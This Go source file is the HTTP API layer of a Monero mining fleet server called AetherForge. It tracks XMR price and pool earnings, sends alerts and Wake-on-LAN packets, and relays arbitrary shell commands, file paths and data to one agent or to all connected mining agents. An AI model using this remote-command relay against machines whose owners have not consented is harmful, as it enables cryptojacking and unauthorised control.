package api import ( "encoding/binary" "encoding/json" "fmt" "io" "log" "net" "net/http" "os" "path/filepath" "strconv" "strings" "sync" "time" "crypto-miner-server/internal/alerts" "crypto-miner-server/internal/db" "crypto-miner-server/internal/pool" "github.com/go-chi/chi/v5" ) // xmrPriceEntry caches the CoinGecko price response to avoid hammering the API. type xmrPriceEntry struct { USD float64 fetchedAt time.Time } const xmrPriceTTL = 10 * time.Minute type FleetHandler struct { db *db.Database ws *WSHub ai *AIHandler pools *pool.Manager alerts *alerts.Evaluator defaultPool pool.Config dataDir string // XMR price cache — per-handler so multiple routers in one process stay isolated. xmrPriceMu sync.Mutex xmrPriceCache *xmrPriceEntry // Real-earnings cache (avoids hammering the pool API) earningsMu sync.Mutex earningsCache map[string]*poolEarningsCache } type poolEarningsCache struct { data map[string]interface{} fetchedAt time.Time } const earningsCacheTTL = 5 * time.Minute func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config, dataDir string) *FleetHandler { return &FleetHandler{ db: database, ws: ws, ai: ai, pools: pools, alerts: evaluator, defaultPool: defaultPool, dataDir: dataDir, } } func (f *FleetHandler) GetAlerts(w http.ResponseWriter, r *http.Request) { if f.alerts == nil { writeJSON(w, []alerts.AlertEvent{}) return } writeJSON(w, f.alerts.ActiveAlerts()) } // PostAlertTest fires a test notification on every configured channel and // returns per-channel results without raising a real fleet alert. func (f *FleetHandler) PostAlertTest(w http.ResponseWriter, r *http.Request) { const testMsg = "AetherForge test notification — alerts are configured correctly" type channelResult struct { Sent bool `json:"sent"` Error *string `json:"error"` } result := map[string]channelResult{} if f.alerts == nil { errStr := "alert evaluator not configured" result["telegram"] = channelResult{Sent: false, Error: &errStr} result["smtp"] = channelResult{Sent: false, Error: &errStr} writeJSON(w, result) return } cfg := f.alerts.GetNotifyConfig() // Telegram if cfg.TelegramBotToken == "" || cfg.TelegramChatID == "" { errStr := "not configured" result["telegram"] = channelResult{Sent: false, Error: &errStr} } else if err := alerts.SendTelegram(cfg, testMsg); err != nil { errStr := err.Error() result["telegram"] = channelResult{Sent: false, Error: &errStr} } else { result["telegram"] = channelResult{Sent: true} } // SMTP if !cfg.EmailEnabled || cfg.SMTPHost == "" || cfg.EmailTo == "" { errStr := "not configured" result["smtp"] = channelResult{Sent: false, Error: &errStr} } else if err := alerts.SendEmail(cfg, "AetherForge Alert Test", testMsg); err != nil { errStr := err.Error() result["smtp"] = channelResult{Sent: false, Error: &errStr} } else { result["smtp"] = channelResult{Sent: true} } writeJSON(w, result) } func (f *FleetHandler) GetPoolStatus(w http.ResponseWriter, r *http.Request) { if f.pools == nil { writeJSON(w, []pool.PoolStatus{}) return } writeJSON(w, f.pools.ListStatus()) } func (f *FleetHandler) GetAIActivity(w http.ResponseWriter, r *http.Request) { if f.ai == nil { writeJSON(w, []AIActivityEntry{}) return } writeJSON(w, f.ai.ActivitySnapshot()) } // GetXMRPrice returns the current XMR/USD price from CoinGecko, cached for 10 minutes. // Falls back to a 503 when the upstream is unreachable so the frontend can degrade gracefully. func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) { f.xmrPriceMu.Lock() if f.xmrPriceCache != nil && time.Since(f.xmrPriceCache.fetchedAt) < xmrPriceTTL { usd := f.xmrPriceCache.USD at := f.xmrPriceCache.fetchedAt f.xmrPriceMu.Unlock() writeJSON(w, map[string]interface{}{ "usd": usd, "fetched_at": at.UTC().Format(time.RFC3339), "source": "coingecko", }) return } f.xmrPriceMu.Unlock() client := &http.Client{Timeout: 8 * time.Second} resp, err := client.Get("https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd") //nolint:gosec if err != nil { http.Error(w, "price fetch failed: "+err.Error(), http.StatusServiceUnavailable) return } defer resp.Body.Close() body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096)) var raw map[string]map[string]float64 if err := json.Unmarshal(body, &raw); err != nil || raw["monero"] == nil { http.Error(w, "price parse failed", http.StatusBadGateway) return } usd := raw["monero"]["usd"] entry := &xmrPriceEntry{USD: usd, fetchedAt: time.Now()} f.xmrPriceMu.Lock() f.xmrPriceCache = entry f.xmrPriceMu.Unlock() writeJSON(w, map[string]interface{}{ "usd": usd, "fetched_at": entry.fetchedAt.UTC().Format(time.RFC3339), "source": "coingecko", }) } // GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings. func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) { f.GetEarnings(w, r) } // GetEarnings returns real pool stats for the configured wallet when the pool // is SupportXMR-compatible (REST API available). Falls back to formula estimate. func (f *FleetHandler) GetEarnings(w http.ResponseWriter, r *http.Request) { hashrate := parseFloatQuery(r, "hashrate", 0) estimate := EstimateXMRPerDay(hashrate) // Determine wallet from query param or server config wallet := r.URL.Query().Get("wallet") if wallet == "" && f.db != nil { // Try to read the wallet from the most recent build record if builds, err := f.db.ListBuilds(1); err == nil && len(builds) > 0 { wallet = builds[0].Wallet } } if wallet == "" { writeJSON(w, estimate) return } // Try SupportXMR REST API real, err := f.fetchPoolEarnings(wallet) if err != nil { log.Printf("[earnings] pool API error (%s): %v — using estimate", wallet[:min(8, len(wallet))], err) writeJSON(w, estimate) return } // Merge pool data over the estimate for k, v := range real { estimate[k] = v } estimate["source"] = "pool_api" writeJSON(w, estimate) } func (f *FleetHandler) fetchPoolEarnings(wallet string) (map[string]interface{}, error) { f.earningsMu.Lock() if f.earningsCache == nil { f.earningsCache = map[string]*poolEarningsCache{} } if cached, ok := f.earningsCache[wallet]; ok && time.Since(cached.fetchedAt) < earningsCacheTTL { data := cached.data f.earningsMu.Unlock() return data, nil } f.earningsMu.Unlock() url := fmt.Sprintf("https://supportxmr.com/api/miner/%s/stats", wallet) client := &http.Client{Timeout: 8 * time.Second} resp, err := client.Get(url) //nolint:gosec if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf("pool API returned %s", resp.Status) } body, err := io.ReadAll(io.LimitReader(resp.Body, 32*1024)) if err != nil { return nil, err } var raw map[string]interface{} if err := json.Unmarshal(body, &raw); err != nil { return nil, err } // Normalise SupportXMR fields into our API format const piconeroPerXMR = 1e12 result := map[string]interface{}{} if v, ok := raw["amtDue"].(float64); ok { result["pending_xmr"] = v / piconeroPerXMR } if v, ok := raw["amtPaid"].(float64); ok { result["paid_xmr"] = v / piconeroPerXMR } if v, ok := raw["totalHashes"].(float64); ok { result["total_hashes"] = v } if v, ok := raw["hashRate"].(float64); ok { result["pool_hashrate"] = v } if v, ok := raw["lastPaymentTs"].(float64); ok && v > 0 { result["last_payment_time"] = time.Unix(int64(v), 0).UTC().Format(time.RFC3339) } if v, ok := raw["lastPayment"].(float64); ok { result["last_payment_xmr"] = v / piconeroPerXMR } f.earningsMu.Lock() f.earningsCache[wallet] = &poolEarningsCache{data: result, fetchedAt: time.Now()} f.earningsMu.Unlock() return result, nil } func min(a, b int) int { if a < b { return a } return b } func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) { id := chi.URLParam(r, "id") if f.ws == nil { http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable) return } content := f.ws.GetAgentLog(id) if r.URL.Query().Get("refresh") == "1" { // Fire the get_log command and return immediately — the response arrives // via the WebSocket command_result broadcast (fixes M18: no more 1.8s block). // The dashboard will receive the log content via the commandResults queue. _ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300}) } if r.URL.Query().Get("download") == "1" { // If the in-memory buffer is empty, try the persisted log file on disk. if content == "" && f.dataDir != "" { logPath := filepath.Join(f.dataDir, "logs", id+".log") if data, err := os.ReadFile(logPath); err == nil { content = string(data) } } date := time.Now().UTC().Format("2006-01-02") filename := fmt.Sprintf("agent-%s-%s.log", id, date) w.Header().Set("Content-Type", "text/plain; charset=utf-8") w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`) fmt.Fprint(w, content) return } writeJSON(w, map[string]interface{}{ "agent_id": id, "content": content, }) } type agentCommandRequest struct { Action string `json:"action"` TailLines int `json:"tail_lines,omitempty"` Command string `json:"command,omitempty"` Path string `json:"path,omitempty"` Data string `json:"data,omitempty"` } func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) { id := chi.URLParam(r, "id") if id == "" { http.Error(w, "agent id is required", http.StatusBadRequest) return } var req agentCommandRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid command", http.StatusBadRequest) return } if req.Action == "" { http.Error(w, "action is required", http.StatusBadRequest) return } if f.ws == nil { http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable) return } args := map[string]interface{}{} if req.TailLines > 0 { args["tail_lines"] = req.TailLines } if req.Command != "" { args["command"] = req.Command } if req.Path != "" { args["path"] = req.Path } if req.Data != "" { args["data"] = req.Data } if id == "all" { if f.ws.connectedAgentCount() == 0 { writeJSON(w, map[string]interface{}{ "success": false, "error": "no connected agents", "agent_id": id, "action": req.Action, }) return } f.ws.BroadcastAgentCommand(req.Action, args) } else { if !f.ws.isAgentConnected(id) { writeJSON(w, map[string]interface{}{ "success": false, "error": "agent not connected", "agent_id": id, "action": req.Action, }) return } if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil { writeJSON(w, map[string]interface{}{ "success": false, "error": err.Error(), "agent_id": id, "action": req.Action, }) return } } writeJSON(w, map[string]interface{}{ "success": true, "agent_id": id, "action": req.Action, }) } // PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address. // The packet is broadcast on UDP port 9 to the last known subnet. func (f *FleetHandler) PostAgentWOL(w http.ResponseWriter, r *http.Request) { id := chi.URLParam(r, "id") if id == "" { http.Error(w, "agent id is required", http.StatusBadRequest) return } // Accept optional override MAC from request body var req struct { MAC string `json:"mac"` } _ = json.NewDecoder(r.Body).Decode(&req) // Look up MAC from DB if not provided mac := req.MAC if mac == "" { agent, err := f.db.GetAgent(id) if err != nil || agent == nil { writeJSON(w, map[string]interface{}{"success": false, "error": "agent not found"}) return } mac = agent.MacAddress } if mac == "" { writeJSON(w, map[string]interface{}{"success": false, "error": "no MAC address on record — provide mac in request body"}) return } if err := sendMagicPacket(mac); err != nil { writeJSON(w, map[string]interface{}{"success": false, "error": err.Error()}) return } writeJSON(w, map[string]interface{}{"success": true, "mac": mac}) } // sendMagicPacket sends a WOL magic packet for the given MAC address. func sendMagicPacket(macStr string) error { macStr = strings.ReplaceAll(macStr, "-", ":") hw, err := net.ParseMAC(macStr) if err != nil { return fmt.Errorf("invalid MAC address %q: %w", macStr, err) } // Magic packet: 6× 0xFF followed by 16× MAC address (102 bytes total) pkt := make([]byte, 102) for i := 0; i < 6; i++ { pkt[i] = 0xFF } for i := 1; i <= 16; i++ { copy(pkt[i*6:], hw) } // Broadcast on limited broadcast address, port 9 addr := &net.UDPAddr{IP: net.IPv4bcast, Port: 9} conn, err := net.DialUDP("udp4", nil, addr) if err != nil { // Try port 7 as fallback addr.Port = 7 conn, err = net.DialUDP("udp4", nil, addr) if err != nil { return fmt.Errorf("failed to open UDP socket: %w", err) } } defer conn.Close() _, err = conn.Write(pkt) _ = binary.BigEndian // ensure import is used return err } type agentMetaRequest struct { Notes string `json:"notes"` Tags []string `json:"tags"` } func (f *FleetHandler) PutAgentMeta(w http.ResponseWriter, r *http.Request) { id := chi.URLParam(r, "id") if id == "" { http.Error(w, "agent id is required", http.StatusBadRequest) return } var req agentMetaRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid body", http.StatusBadRequest) return } if _, err := f.db.GetAgent(id); err != nil { http.Error(w, "agent not found", http.StatusNotFound) return } if err := f.db.UpdateAgentMeta(id, req.Notes, req.Tags); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } agent, _ := f.db.GetAgent(id) writeJSON(w, map[string]interface{}{"success": true, "agent": agent}) } type bulkCommandRequest struct { AgentIDs []string `json:"agent_ids"` Action string `json:"action"` Command string `json:"command,omitempty"` } func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) { if f.ws == nil { http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable) return } var req bulkCommandRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid body", http.StatusBadRequest) return } if req.Action == "" { http.Error(w, "action is required", http.StatusBadRequest) return } if len(req.AgentIDs) == 0 { writeJSON(w, map[string]interface{}{ "success": false, "error": "agent_ids is required", }) return } args := map[string]interface{}{} if req.Command != "" { args["command"] = req.Command } sent := 0 failed := 0 for _, id := range req.AgentIDs { if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil { failed++ } else { sent++ } } writeJSON(w, map[string]interface{}{ "success": sent > 0, "sent": sent, "failed": failed, "action": req.Action, }) } // EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR). func EstimateXMRPerDay(hashrate float64) map[string]interface{} { const networkHashrate = 3_000_000_000.0 const dailyEmissionXMR = 432.0 xmr := 0.0 if hashrate > 0 && networkHashrate > 0 { xmr = (hashrate / networkHashrate) * dailyEmissionXMR } return map[string]interface{}{ "hashrate": hashrate, "xmr_per_day": xmr, "usd_per_day": nil, "network_hashrate": networkHashrate, "note": "Approximate estimate based on ~3 GH/s network hashrate; actual earnings vary with difficulty and pool luck.", } } // DeleteAgent removes an agent record from the database. // If the agent is currently online it is also disconnected (kicked). func (f *FleetHandler) DeleteAgent(w http.ResponseWriter, r *http.Request) { id := chi.URLParam(r, "id") if id == "" { http.Error(w, "missing agent id", http.StatusBadRequest) return } // Kick live connection first (non-fatal if offline). if f.ws != nil { _ = f.ws.SendToAgent(id, Message{Type: "disconnect", Payload: mustMarshalFleet(map[string]string{"reason": "deleted from roster"})}) f.ws.RemoveAgent(id) } if err := f.db.DeleteAgent(id); err != nil { http.Error(w, "delete failed: "+err.Error(), http.StatusInternalServerError) return } // Clear stale in-memory alerts so the machine stops showing up in the // dashboard alert banner after deletion. if f.alerts != nil { f.alerts.ClearAgent(id) } w.Header().Set("Content-Type", "application/json") json.NewEncoder(w).Encode(map[string]bool{"success": true}) } // BulkDeleteAgents deletes multiple agents from the database in one call. func (f *FleetHandler) BulkDeleteAgents(w http.ResponseWriter, r *http.Request) { var req struct { IDs []string `json:"ids"` } if err := json.NewDecoder(r.Body).Decode(&req); err != nil || len(req.IDs) == 0 { http.Error(w, "ids required", http.StatusBadRequest) return } deleted := 0 for _, id := range req.IDs { if f.ws != nil { _ = f.ws.SendToAgent(id, Message{Type: "disconnect", Payload: mustMarshalFleet(map[string]string{"reason": "deleted from roster"})}) f.ws.RemoveAgent(id) } if err := f.db.DeleteAgent(id); err == nil { deleted++ if f.alerts != nil { f.alerts.ClearAgent(id) } } } w.Header().Set("Content-Type", "application/json") json.NewEncoder(w).Encode(map[string]interface{}{"success": true, "deleted": deleted}) } func mustMarshalFleet(v interface{}) json.RawMessage { b, _ := json.Marshal(v) return b } func parseFloatQuery(r *http.Request, key string, def float64) float64 { v := r.URL.Query().Get(key) if v == "" { return def } f, err := strconv.ParseFloat(v, 64) if err != nil { return def } return f }